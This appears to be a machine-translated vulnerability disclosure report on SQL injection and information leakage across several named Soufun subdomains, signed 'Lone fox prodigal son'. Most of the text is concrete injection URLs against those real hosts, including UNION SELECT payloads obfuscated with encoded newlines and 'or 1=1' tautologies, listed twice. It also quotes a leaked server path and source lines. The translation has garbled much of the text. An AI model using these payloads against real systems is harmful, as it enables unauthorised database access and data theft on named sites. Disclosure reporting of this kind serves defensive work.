Injection Vulnerabilities and sensitive information leakage in multiple Soufun Substations

Brief description: injection may cause leakage of host information and further penetration. The Administrator is expected to fix the issue in time to avoid affecting the host security.
Detailed Description: 1,
 
Http://njbbs.soufun.com/zhuanti/njxn/njxnvote.asp
 
? Num = 259% 0 Aand % 0A1 = 2% 0 AUNION % 0 Aall % 0 ASELECT % 0A1,, Afrom % 0 AMSysAccessObjects
2,
 
Http://nree.soufun.com/2007spring/guangzhou/show2.asp
 
? Id = 7% 0D % 0D % 0 DAnd % 0D1 = 2% 0 DUNION % 0 Dall % 0 DSELECT % 0D1,, Dfrom % 0 DMSysAccessObjects
3,
 
Http://dg.soufun.com/zhuanti/yht/view.asp? P_id = 13 & class_id = 21 & id = 262 or 1 = 1
4,
Http://szesftest.soufun.com/sechouse2/products.asp
 
? BigClassName = % B6 % FE % CA % D6 % B7 % BF
 
& SmallClassName = % D5 % D0 % C9 % CC % D6 % C3 % D2 % B5 'and '1' = '1
Vulnerability proof: 1,
 
Http://njbbs.soufun.com/zhuanti/njxn/njxnvote.asp
 
? Num = 259% 0 Aand % 0A1 = 2% 0 AUNION % 0 Aall % 0 ASELECT % 0A1,, Afrom % 0 AMSysAccessObjects
2,
 
Http://nree.soufun.com/2007spring/guangzhou/show2.asp
 
? Id = 7% 0D % 0D % 0 DAnd % 0D1 = 2% 0 DUNION % 0 Dall % 0 DSELECT % 0D1,, Dfrom % 0 DMSysAccessObjects
3,
 
Http://dg.soufun.com/zhuanti/yht/view.asp? P_id = 13 & class_id = 21 & id = 262 or 1 = 1
4,
Http://szesftest.soufun.com/sechouse2/products.asp
 
? BigClassName = % B6 % FE % CA % D6 % B7 % BF
 
& SmallClassName = % D5 % D0 % C9 % CC % D6 % C3 % D2 % B5 'and '1' = '1
 
 
Http://www.soufun.com/space/Other/Posts.aspx? Userid = 5469987
Leaked information host path:
Source File: e: \ soufun \ spacen.soufun.com \ Other \ Posts. aspx Line: 6
 
Line 4: <% @ MasterType VirtualPath = "~ /Visit. Master "%>
 
Line 5: <asp: Content ID = "TitleContent" ContentPlaceHolderID = "TitleContent" runat = "server">
 
Line 6: <% = Master. visitUser. UserName %>-Home Space-Soufun
 
Line 7: </asp: Content>
 
Line 8: <asp: Content ID = "HeadContent" ContentPlaceHolderID = "HeadContent" runat = "server">
 
 
Solution: Filter
 
 
Lone fox prodigal son